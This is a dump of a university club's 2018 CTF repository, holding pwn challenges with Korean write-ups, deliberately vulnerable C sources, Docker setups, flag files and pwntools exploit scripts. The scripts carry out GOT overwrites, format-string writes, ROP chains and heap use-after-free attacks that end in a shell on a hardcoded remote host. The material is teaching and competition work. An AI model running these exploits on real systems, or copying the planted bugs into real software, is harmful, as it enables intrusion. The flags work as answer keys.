/pwn/bof_study/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc bof_study.c -o bof_study -fno-stack-protector 4 | -------------------------------------------------------------------------------- /pwn/easy_calc/README.md: -------------------------------------------------------------------------------- 1 | # Easy Calc 2 | > author: 이진우(munji) / difficulty: normal / points: 200 + 400 3 | 4 | ## Description 5 | Easy Calc Easy Calc! 6 | But harder than Hard ROP 7 | Why? Because "easy" means hard at pwnable! 8 | 9 | ## Write up 10 | 두 Obj를 계산할때 첫번째 Object의 타입에 맞춰서 계산한다. 11 | 즉, Int와 Str을 더하면 두 Object를 Int로 취급하기에 heap주소를 leak할 수 있다. 12 | 4번 메뉴를 통해 heap에 flag를 올려놓고 위 방법을 통해 heap base addr를 얻은 뒤 flag 가 올라가 있는 주소를 값으로 가지는 Int Obj를 생성한다. 13 | 그 후 Str + Int 연산을 하면 둘 다 Str 취급을 할 것이고 flag1을 얻어낼 수 있다. 14 | 15 | 두번째 플래그는 셸을 얻는것이 의도된 풀이다. 16 | Int에 got table의 주소를 넣고 Str + Int를 하면 libc addr를 얻을 수 있고, 이를 통해 system의 주소를 알 수 있다. 17 | 18 | assignment(`=`) 연산시에 일부러 두번째 Obj에 첫번째 Obj의 값을 넣도록 했는데 이를 통해서 Int Obj에 string을 assign할 수 있기 때문이다. got table의 주소를 값으로 가지는 Int를 만들고 system함수의 주소를 packing한 문자열을 값으로 가지는 Str Obj을 만든뒤 대입(`=`연산)하면 got table에 system의 주소를 덮을 수 있다. 19 | 20 | ## Hint 21 | - `Type Confusion? But.. I'm checking type well!`: 100 22 | - `Why assigning order is.. weird?`: 150 23 | -------------------------------------------------------------------------------- /pwn/easy_calc/binary/easy_calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/easy_calc/binary/easy_calc -------------------------------------------------------------------------------- /pwn/easy_calc/binary/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/easy_calc/binary/libc.so.6 -------------------------------------------------------------------------------- /pwn/easy_calc/exploit/ex1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./easy_calc') 4 | r = remote('106.10.34.139', 20003) 5 | 6 | r.sendlineafter('>> ', '1') 7 | r.sendlineafter('>> ', '1') 8 | r.sendafter(': ', 'int') 9 | r.sendafter(': ', '0') 10 | r.sendlineafter('>> ', '1') 11 | r.sendlineafter('>> ', '2') 12 | r.sendafter(': ', 'string') 13 | r.sendafter(': ', 'leak: ') 14 | r.sendlineafter('>> ', '2') 15 | r.sendafter(': ', 'int') 16 | r.sendafter(': ', 'string') 17 | r.sendafter(': ', '+') 18 | r.sendafter(': ', 'heap leak') 19 | r.sendlineafter('>> ', '3') 20 | r.sendafter(': ', 'heap leak') 21 | r.recvuntil('Value: ') 22 | heap_base = int(r.recvline()) - 0xb0 23 | log.info('HEAP BASE: 0x{:016x}'.format(heap_base)) 24 | flag = heap_base + 0x1b0 25 | r.sendlineafter('>> ', '1') 26 | r.sendlineafter('>> ', '1') 27 | r.sendafter(': ', 'flag addr') 28 | r.sendafter(': ', str(flag)) 29 | r.sendlineafter('>> ', '4') 30 | r.sendlineafter('?\n', 'no') 31 | r.sendlineafter('>> ', '2') 32 | r.sendafter(': ', 'string') 33 | r.sendafter(': ', 'flag addr') 34 | r.sendafter(': ', '+') 35 | r.sendafter(': ', 'flag') 36 | r.sendlineafter('>> ', '3') 37 | r.sendafter(': ', 'flag') 38 | 39 | r.interactive() 40 | -------------------------------------------------------------------------------- /pwn/easy_calc/exploit/ex2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') 4 | #r = process('./easy_calc') 5 | r = remote('106.10.34.139', 20003) 6 | 7 | strdup_got = 0x6020B8 8 | 9 | r.sendlineafter('>> ', '1') 10 | r.sendlineafter('>> ', '1') 11 | r.sendafter(': ', 'int') 12 | r.sendafter(': ', str(strdup_got)) 13 | r.sendlineafter('>> ', '1') 14 | r.sendlineafter('>> ', '2') 15 | r.sendafter(': ', 'string') 16 | r.sendafter(': ', 'leak: ') 17 | r.sendlineafter('>> ', '2') 18 | r.sendafter(': ', 'string') 19 | r.sendafter(': ', 'int') 20 | r.sendafter(': ', '+') 21 | r.sendafter(': ', 'libc leak') 22 | 23 | r.sendlineafter('>> ', '3') 24 | r.sendafter(': ', 'libc leak') 25 | r.recvuntil('leak: ') 26 | libc.address = u64(r.recvline()[:-1].ljust(8, '\x00')) - libc.symbols['strdup'] 27 | log.info('HEAP BASE: 0x{:016x}'.format(libc.address)) 28 | 29 | system = libc.symbols['system'] 30 | r.sendlineafter('>> ', '1') 31 | r.sendlineafter('>> ', '2') 32 | r.sendafter(': ', 'system') 33 | r.sendafter(': ', p64(system)) 34 | r.sendlineafter('>> ', '2') 35 | r.sendafter(': ', 'system') 36 | r.sendafter(': ', 'int') 37 | r.sendafter(': ', '=') 38 | 39 | r.sendlineafter('>> ', '1') 40 | r.sendlineafter('>> ', '2') 41 | r.sendafter(': ', 'get shell') 42 | r.sendafter(': ', '/bin/sh\x00') 43 | 44 | r.sendline('cat flag2.txt') 45 | 46 | r.interactive() 47 | -------------------------------------------------------------------------------- /pwn/easy_calc/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser easy_calc 7 | COPY flag1.txt /home/easy_calc/ 8 | COPY flag2.txt /home/easy_calc/ 9 | COPY run.sh /home/easy_calc/ 10 | COPY easy_calc /home/easy_calc/ 11 | 12 | COPY pwn /etc/xinetd.d/ 13 | RUN echo "pwn 8000/tcp" >> /etc/services 14 | EXPOSE 8000 15 | 16 | CMD /usr/sbin/xinetd -dontfork 17 | -------------------------------------------------------------------------------- /pwn/easy_calc/release/easy_calc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/easy_calc/release/easy_calc -------------------------------------------------------------------------------- /pwn/easy_calc/release/flag1.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{5uch_dum6_C4lculat0r} 2 | -------------------------------------------------------------------------------- /pwn/easy_calc/release/flag2.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{Pr0gramm1ng_1s_5o_h4rd} 2 | -------------------------------------------------------------------------------- /pwn/easy_calc/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = easy_calc 8 | wait = no 9 | server = /home/easy_calc/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/easy_calc/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/easy_calc 4 | timeout 60 ./easy_calc 5 | -------------------------------------------------------------------------------- /pwn/easy_calc/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc calc.c -o easy_calc 4 | -------------------------------------------------------------------------------- /pwn/gsh_v1/README.md: -------------------------------------------------------------------------------- 1 | # gsh v1 2 | > author: 이진우(munji) / difficulty: normal / points: 100 + 200 3 | 4 | ## Description 5 | Guardian SHell prototype 6 | 7 | ## Write up 8 | Format String Bug를 이용하는 문제로 총 2단계의 stage로 구성되어있다. 간단하고, 허접한 shell을 컨셉으로 잡았다. 9 | 10 | echo 커맨드에서 FSB가 발생하는데 %x만 사용해서 스택에 올라가있는 첫번째 플래그를 읽을 수 있다. 11 | 12 | 두번째 플래그의 존재는 ls 커맨드에서 힌트를 주는데 ls를 실행시키면 2개의 플래그가 존재하는 것을 볼 수 있다. 13 | 두번째 플래그를 읽으려면 shell을 획득해야 하는데 쉬움 난이도이므로 system함수와 `/bin/sh`문자열을 일부러 제공했다. 14 | FSB를 이용하여 `gsh()`의 return address를 덮던가, `strncmp()`함수의 GOT table을 `system()`으로 덮으면 쉘을 얻을 수 있다. 15 | 16 | ## Hint 17 | - `What's FSB..? Let's google it!`: 5 points 18 | - `GOT table? Let's try to run /bin/sh!`: 50 19 | 20 | 21 | -------------------------------------------------------------------------------- /pwn/gsh_v1/binary/gsh_v1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/gsh_v1/binary/gsh_v1 -------------------------------------------------------------------------------- /pwn/gsh_v1/exploit/ex1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./gsh_v1') 4 | r = remote('106.10.34.139', 20004) 5 | 6 | r.sendlineafter('$ ', 'flag') 7 | 8 | flag = '' 9 | cnt = 19 10 | while True: 11 | r.sendlineafter('$ ', 'echo %{}$08xend'.format(cnt)) 12 | s = r.recvuntil('end', drop=True) 13 | print s 14 | if s == '00000000': 15 | break 16 | flag += s.decode('hex')[::-1] 17 | cnt += 1 18 | 19 | print flag 20 | 21 | -------------------------------------------------------------------------------- /pwn/gsh_v1/exploit/ex1_unintended.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./gsh_v1') 4 | r = remote('106.10.34.139', 20004) 5 | 6 | r.sendlineafter('$ ', 'flag') 7 | r.sendafter('$ ', 'echo '.ljust(0x30, 'a')) 8 | 9 | r.interactive() 10 | -------------------------------------------------------------------------------- /pwn/gsh_v1/exploit/ex2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./gsh_v1') 4 | r = remote('106.10.34.139', 20004) 5 | 6 | system_plt = 0x08048510 7 | strncmp_got = 0x0804a038 8 | 9 | system_l = system_plt & 0xffff 10 | system_h = system_plt >> 16 11 | 12 | payload = p32(strncmp_got) + p32(strncmp_got+2) 13 | payload += '%{}c%9$hn'.format(system_l - 11) 14 | payload += '%{}c%10$hn'.format(0x10000 + system_h - system_l) 15 | r.sendlineafter('$ ', 'echo'+' '*4+payload) 16 | r.sendlineafter('$ ', '/bin/sh;') 17 | 18 | r.interactive() 19 | -------------------------------------------------------------------------------- /pwn/gsh_v1/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM 32bit/ubuntu:16.04 2 | 3 | RUN apt update 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser gsh_v1 7 | COPY flag1.txt /home/gsh_v1/ 8 | COPY flag2.txt /home/gsh_v1/ 9 | COPY run.sh /home/gsh_v1/ 10 | COPY gsh_v1 /home/gsh_v1/ 11 | 12 | COPY pwn /etc/xinetd.d/ 13 | RUN echo "pwn 8000/tcp" >> /etc/services 14 | EXPOSE 8000 15 | 16 | CMD /usr/sbin/xinetd -dontfork 17 | -------------------------------------------------------------------------------- /pwn/gsh_v1/release/flag1.txt: -------------------------------------------------------------------------------- 1 | Guardian{1_Kn0w_U_c4n_g3t_2nd_fl4g!} 2 | -------------------------------------------------------------------------------- /pwn/gsh_v1/release/flag2.txt: -------------------------------------------------------------------------------- 1 | Guardian{S33??_U_4re_G00d_player} 2 | -------------------------------------------------------------------------------- /pwn/gsh_v1/release/gsh_v1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/gsh_v1/release/gsh_v1 -------------------------------------------------------------------------------- /pwn/gsh_v1/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = gsh_v1 8 | wait = no 9 | server = /home/gsh_v1/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/gsh_v1/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/gsh_v1 4 | timeout 60 ./gsh_v1 5 | -------------------------------------------------------------------------------- /pwn/gsh_v1/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -m32 gsh_v1.c -o gsh_v1 4 | -------------------------------------------------------------------------------- /pwn/gsh_v1/src/gsh_v1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void help() { 7 | puts("gsh - Guardian SHell like /bin/sh"); 8 | puts("help - show this message"); 9 | puts("ls - list directory contents"); 10 | puts("echo - display a line of text"); 11 | puts("id - print user and group ID"); 12 | puts("flag - read flag"); 13 | puts("exit - cause normal process termination"); 14 | } 15 | 16 | void ls() { 17 | system("ls"); 18 | } 19 | 20 | void id() { 21 | puts("uid=0(root) gid=0(root) groups=0(root)"); 22 | } 23 | 24 | void gsh() { 25 | char buf[0x30]; 26 | char flag[0x100]; 27 | 28 | memset(flag, 0, sizeof(flag)); 29 | 30 | while (1) { 31 | printf("$ "); 32 | read(0, buf, 0x30); 33 | if (!strncmp(buf, "gsh", 3)) 34 | gsh(); 35 | else if (!strncmp(buf, "help", 4)) 36 | help(); 37 | else if (!strncmp(buf, "ls", 2)) 38 | ls(); 39 | else if (!strncmp(buf, "id", 2)) 40 | id(); 41 | else if (!strncmp(buf, "flag", 4)) { 42 | FILE *fp = fopen("flag1.txt", "r"); 43 | fgets(flag, 0x100, fp); 44 | fclose(fp); 45 | } 46 | else if(!strncmp(buf, "echo", 4)) { 47 | if (buf[4] == ' ') 48 | printf(&buf[5]); 49 | else 50 | help(); 51 | } 52 | else if (!strncmp(buf, "exit", 4)) 53 | return; 54 | else 55 | help(); 56 | } 57 | } 58 | 59 | int main() { 60 | char feedback[0x100]; 61 | setvbuf(stdin, 0, 2, 0); 62 | setvbuf(stdout, 0, 2, 0); 63 | 64 | puts("This is easy and simple shell made by Guardian"); 65 | puts("Plz test our new shell"); 66 | gsh(); 67 | 68 | puts("\nAny feedbacks?"); 69 | read(0, feedback, 0x100); 70 | puts("Well-made shell? Thank you! Have a nice day~"); 71 | 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /pwn/gsh_v2/README.md: -------------------------------------------------------------------------------- 1 | # gsh v2 2 | > author: 이진우(munji) / difficulty: hard / points: 500 + 700 3 | 4 | ## Description 5 | Guardian SHell final 6 | (Plz read `README.md` in the problem. It says how to solve this problem.) 7 | 8 | ## Write up 9 | Use After Free를 이용하는 문제로 총 2개의 flag가 존재한다. gsh v1의 시리즈 문제로 역시 셸을 컨셉으로 했다. 10 | 11 | A라는 파일을 만들고 B라는 링크를 만들어 A를 가리키게 한다. 그리고 A를 삭제하면 B는 여전히 삭제된 A를 가리키게 되어 UAF가 발생한다. 12 | 13 | 이를 통해 fastbin에서 heap 주소를 구할 수 있다. 14 | 15 | 첫 번째 플래그는 부모 디렉토리가 삭제 됐지만 삭제하는 루틴을 보면 디렉토리 하위 파일들은 free시키지 않기때문에 여전히 heap에 올라가있는 상태다. 즉, UAF를 통해 heap 주소를 구하고 content 포인터를 flag1.txt의 content로 바꿔주면 읽을 수 있다. 16 | 17 | 두 번째 플래그는 unsorted bin을 만들어 libc주소를 얻어내고 `__malloc_hook`을 `one_gadget`의 주소로 덮으면 된다. 18 | 19 | ## Hint 20 | - `너와 나의 연결고리`: 30 21 | - `We remove parent directory but flag file.. remains..?`: 100 22 | - `__malloc_hook? one_gadget?? unsorted bin??????!?!?!?!?`: 400 23 | 24 | ## TODO 25 | - player들에게는 바이너리패치해서 flag1을 다른 문자열로 바꾼 뒤 제공 26 | -------------------------------------------------------------------------------- /pwn/gsh_v2/binary/gsh_v2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/gsh_v2/binary/gsh_v2 -------------------------------------------------------------------------------- /pwn/gsh_v2/binary/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/gsh_v2/binary/libc.so.6 -------------------------------------------------------------------------------- /pwn/gsh_v2/exploit/ex1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./gsh_v2') 4 | r = remote('106.10.34.139', 20005) 5 | 6 | r.sendlineafter('$ ', 'touch dummy1') 7 | r.sendlineafter('$ ', 'touch dummy2') 8 | r.sendlineafter('$ ', 'touch dummy3') 9 | 10 | r.sendlineafter('$ ', 'ln dummy2 vuln') 11 | r.sendlineafter('$ ', 'rm dummy3') 12 | r.sendlineafter('$ ', 'rm dummy2') 13 | r.sendlineafter('$ ', 'gvim vuln') 14 | r.sendlineafter('length? ', str(0x1f)) 15 | r.sendafter('content: ', '\x90') 16 | r.sendlineafter('$ ', 'gvim vuln') 17 | r.recvuntil('/guardian/') 18 | heap_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x2c0 19 | flag = heap_base + 0xb0 20 | log.info('HEAP BASE: 0x{:016x}'.format(heap_base)) 21 | r.sendlineafter('length? ', str(0x1f)) 22 | r.sendafter('content: ', '\x90') 23 | r.sendlineafter('$ ', 'gvim vuln') 24 | r.sendlineafter('length? ', str(0x1f)) 25 | r.sendafter('content: ', p64(flag)) 26 | r.sendlineafter('$ ', 'gvim vuln') 27 | 28 | r.interactive() 29 | -------------------------------------------------------------------------------- /pwn/gsh_v2/exploit/ex2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') 4 | #r = process('./gsh_v2') 5 | r = remote('106.10.34.139', 20005) 6 | 7 | # Make Dummy 8 | r.sendlineafter('$ ', 'touch dummy1') 9 | r.sendlineafter('$ ', 'touch dummy2') 10 | r.sendlineafter('$ ', 'touch dummy3') 11 | 12 | # Make Link 13 | r.sendlineafter('$ ', 'ln dummy2 vuln') 14 | 15 | # Trigger Vuln 16 | r.sendlineafter('$ ', 'rm dummy3') 17 | r.sendlineafter('$ ', 'rm dummy2') 18 | 19 | # Change Name Ptr 20 | r.sendlineafter('$ ', 'gvim vuln') 21 | r.sendlineafter('length? ', str(0x1f)) 22 | r.sendafter('content: ', '\x90') 23 | 24 | # Leak Heap Addr 25 | r.sendlineafter('$ ', 'gvim vuln') 26 | r.recvuntil('/guardian/') 27 | heap_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x2c0 28 | log.info('HEAP BASE: 0x{:016x}'.format(heap_base)) 29 | r.sendlineafter('length? ', str(0x1f)) 30 | r.sendafter('content: ', '\x90') 31 | 32 | # Make Unsorted Bin && Leak Libc Addr 33 | r.sendlineafter('$ ', 'touch '+'a'*0x100) 34 | r.sendlineafter('$ ', 'rm '+'a'*0x100) 35 | r.sendlineafter('$ ', 'gvim vuln') 36 | r.sendlineafter('length? ', str(0x1f)) 37 | r.sendafter('content: ', p64(heap_base+0x7b0)) 38 | r.sendlineafter('$ ', 'gvim vuln') 39 | r.recvuntil('/guardian/') 40 | libc.address = u64(r.recvline()[:-1].ljust(8, '\x00')) - 0x3c4b78 41 | 42 | malloc_hook = libc.symbols['__malloc_hook'] 43 | log.info('LIBC BASE: 0x{:016x}'.format(libc.address)) 44 | 45 | r.sendlineafter('length? ', str(0x1f)) 46 | r.sendafter('content: ', '\x90') 47 | r.sendlineafter('$ ', 'gvim vuln') 48 | r.sendlineafter('length? ', str(0x1f)) 49 | r.sendafter('content: ', p64(heap_base)) 50 | 51 | # Make fastbins with size 0x70 52 | r.sendlineafter('$ ', 'touch 1') 53 | r.sendlineafter('$ ', 'touch 2') 54 | r.sendlineafter('$ ', 'gvim 1') 55 | r.sendlineafter('length? ', str(0x5f)) 56 | r.sendafter('content: ', 'a') 57 | r.sendlineafter('$ ', 'gvim 2') 58 | r.sendlineafter('length? ', str(0x5f)) 59 | r.sendafter('content: ', 'a') 60 | 61 | r.sendlineafter('$ ', 'gvim 1') 62 | r.sendlineafter('length? ', str(0x1f)) 63 | r.sendafter('content: ', 'a') 64 | r.sendlineafter('$ ', 'gvim 2') 65 | r.sendlineafter('length? ', str(0x1f)) 66 | r.sendafter('content: ', 'a') 67 | 68 | # Change Pointer Addr && Trigger Double Free 69 | r.sendlineafter('$ ', 'gvim vuln') 70 | r.sendlineafter('length? ', str(0x1f)) 71 | r.sendafter('content: ', '\x90') 72 | r.sendlineafter('$ ', 'gvim vuln') 73 | r.sendlineafter('length? ', str(0x1f)) 74 | r.sendafter('content: ', p64(heap_base)+p64(heap_base+0xa40)) 75 | 76 | # Get Chunk with Addr __malloc_hook && Write Pointer of One_gadget 77 | r.sendlineafter('$ ', 'gvim 1') 78 | r.sendlineafter('length? ', str(0x5f)) 79 | r.sendafter('content: ', p64(malloc_hook-0x1b-8)) 80 | 81 | r.sendlineafter('$ ', 'touch '+'c'*0x60) 82 | r.sendlineafter('$ ', 'gvim 2') 83 | r.sendlineafter('length? ', str(0x5f)) 84 | system = libc.address + 0xf1147 85 | r.sendafter('content: ', 'a'*(0x1b-8)+p64(system)) 86 | 87 | # Trigger __malloc_hook and Get Shell 88 | r.sendafter('$ ', '\x00'*0x200) 89 | 90 | r.interactive() 91 | -------------------------------------------------------------------------------- /pwn/gsh_v2/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser gsh_v2 7 | COPY flag2.txt /home/gsh_v2/ 8 | COPY run.sh /home/gsh_v2/ 9 | COPY gsh_v2 /home/gsh_v2/ 10 | 11 | COPY pwn /etc/xinetd.d/ 12 | RUN echo "pwn 8000/tcp" >> /etc/services 13 | EXPOSE 8000 14 | 15 | CMD /usr/sbin/xinetd -dontfork 16 | -------------------------------------------------------------------------------- /pwn/gsh_v2/release/flag2.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{M4king_Pr0bl3ms_1s_5ooo_H4rd} 2 | -------------------------------------------------------------------------------- /pwn/gsh_v2/release/gsh_v2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/gsh_v2/release/gsh_v2 -------------------------------------------------------------------------------- /pwn/gsh_v2/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = gsh_v2 8 | wait = no 9 | server = /home/gsh_v2/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/gsh_v2/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/gsh_v2 4 | timeout 60 ./gsh_v2 5 | -------------------------------------------------------------------------------- /pwn/gsh_v2/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc gsh_v2.c -o gsh_v2 4 | -------------------------------------------------------------------------------- /pwn/hard_rop/README.md: -------------------------------------------------------------------------------- 1 | # Hard ROP 2 | > author: 이진우(munji) / difficulty: easy / points: 150 + 200 3 | 4 | ## Description 5 | ROP? Is it a new programming method? 6 | 7 | ## Write up 8 | `vuln()`함수에서 대놓고 buffer overflow가 발생한다. 9 | ROP를 이용하여 플래그를 얻어내면 되는 문제다. 10 | 11 | 첫번째 플래그는 전역변수에 파일을 읽고 써주는 함수가 제공되기 때문에 이 함수를 실행시키고, `pop rdi`가젯과 `puts()`를 통해 플래그를 출력시킬 수 있다. 12 | 13 | 두번째 플래그는 플래그 파일을 열고, 읽는 루틴까지 ROP로 직접 짜야한다. `fopen()`을 통해서 flag2.txt를 열 수 있다. 그리고 `fgets(buf, size ,fp)`를 실행시켜야 하는데 `fp`의 주소를 몰라서 막힐 수 있다. 물론, libc를 leak하고 그 안에서 찾을 순 있겠지만 그럴 필요는 없다. 14 | `fopen()`으로 새로운 파일을 열면 `fd`가 자동으로 추가되기 때문에 `read(fd, buf, size)`를 이용하면 된다. 15 | 16 | ## Hint 17 | - `With ropper, you can find gadgets easier! $ pip install ropper`: 20 18 | - `fopen() makes new file descriptor, and read() uses file descriptor`: 100 19 | -------------------------------------------------------------------------------- /pwn/hard_rop/binary/hard_rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/hard_rop/binary/hard_rop -------------------------------------------------------------------------------- /pwn/hard_rop/exploit/ex1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./hard_rop') 4 | r = remote('106.10.34.139', 20002) 5 | 6 | readFlag1 = 0x4006b6 7 | puts_plt = 0x400550 8 | poprdi = 0x4007d3 9 | FLAG1 = 0x601080 10 | 11 | payload = 'a'*0x18 12 | payload += p64(readFlag1) 13 | payload += p64(poprdi) + p64(FLAG1) + p64(puts_plt) 14 | r.sendline(payload) 15 | 16 | r.interactive() 17 | -------------------------------------------------------------------------------- /pwn/hard_rop/exploit/ex2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./hard_rop') 4 | r = remote('106.10.34.139', 20002) 5 | 6 | g1 = 0x4007c6 7 | g2 = 0x4007b0 8 | bss = 0x601100 9 | read_got = 0x601020 10 | fopen_got = 0x601040 11 | puts_got = 0x601018 12 | 13 | def call(func, arg1, arg2, arg3): 14 | rop = p64(g1) + p64(0) + p64(0) + p64(1) + p64(func) + p64(arg3) + p64(arg2) + p64(arg1) 15 | rop += p64(g2) + p64(0)*7 16 | return rop 17 | 18 | payload = 'a'*0x18 19 | payload += call(read_got, 0, bss, 0x20) 20 | payload += call(fopen_got, bss, bss+0x10, 0) 21 | payload += call(read_got, 3, bss, 0x100) 22 | payload += call(puts_got, bss, 0, 0) 23 | 24 | r.sendline(payload) 25 | 26 | 27 | r.send('flag2.txt'.ljust(0x10, '\x00') + 'r\x00') 28 | 29 | r.interactive() 30 | -------------------------------------------------------------------------------- /pwn/hard_rop/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser hard_rop 7 | COPY flag1.txt /home/hard_rop/ 8 | COPY flag2.txt /home/hard_rop/ 9 | COPY run.sh /home/hard_rop/ 10 | COPY hard_rop /home/hard_rop/ 11 | 12 | COPY pwn /etc/xinetd.d/ 13 | RUN echo "pwn 8000/tcp" >> /etc/services 14 | EXPOSE 8000 15 | 16 | CMD /usr/sbin/xinetd -dontfork 17 | -------------------------------------------------------------------------------- /pwn/hard_rop/release/flag1.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{p0p_r15_p0p_rd1_w0w} 2 | -------------------------------------------------------------------------------- /pwn/hard_rop/release/flag2.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{F1le_D3script0r_4nd_F1le_P0int3r} 2 | -------------------------------------------------------------------------------- /pwn/hard_rop/release/hard_rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/hard_rop/release/hard_rop -------------------------------------------------------------------------------- /pwn/hard_rop/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = hard_rop 8 | wait = no 9 | server = /home/hard_rop/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/hard_rop/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/hard_rop 4 | timeout 60 ./hard_rop 5 | -------------------------------------------------------------------------------- /pwn/hard_rop/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc rop.c -o hard_rop -fno-stack-protector 4 | -------------------------------------------------------------------------------- /pwn/hard_rop/src/rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char FLAG1[0x100]; 7 | 8 | void readFlag1() { 9 | FILE *fp = fopen("flag1.txt", "r"); 10 | fgets(FLAG1, 0x100, fp); 11 | } 12 | 13 | void vuln() { 14 | char buf[0x10]; 15 | read(0, buf, 0x1000); 16 | } 17 | 18 | int main() { 19 | setvbuf(stdin, 0, 2, 0); 20 | setvbuf(stdout, 0, 2, 0); 21 | 22 | vuln(); 23 | puts("Bye~"); 24 | } 25 | -------------------------------------------------------------------------------- /rev/WTF/README.md: -------------------------------------------------------------------------------- 1 | # WTF 2 | 3 | > author: 최경재(siha) / difficulty: easy / points: 150 4 | 5 | ## Description 6 | 7 | 이게 대체 무슨 언어야 8 | 9 | ## Hint 10 | - 직접 손으로 풀 생각은 아니겠지? (10) 11 | - original javascript code -> obfuscated -> JSFuck encoded (50) 12 | 13 | ## Write up 14 | 15 | 자바스크립트 코드를 난독화 한뒤 JSFuck 인코딩한 코드가 주어진다. 16 | 17 | 적당한 사이트를 찾아서 JSFuck decode를 하고(https://enkhee-osiris.github.io/Decoder-JSFuck/) 18 | 19 | 다시 적당한 사이트를 찾아서 deobfuscation을 하면(http://jsnice.org/) 20 | 21 | 원래 코드를 읽을 수 있다. 22 | 23 | 24 | ## How to run 25 | 26 | ``` 27 | WTF.js 파일 제공 28 | ``` -------------------------------------------------------------------------------- /rev/WTF/src/flag.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{h4v3_fun_w17h_j5fuck} -------------------------------------------------------------------------------- /rev/WTF/src/obfuscated.js: -------------------------------------------------------------------------------- 1 | 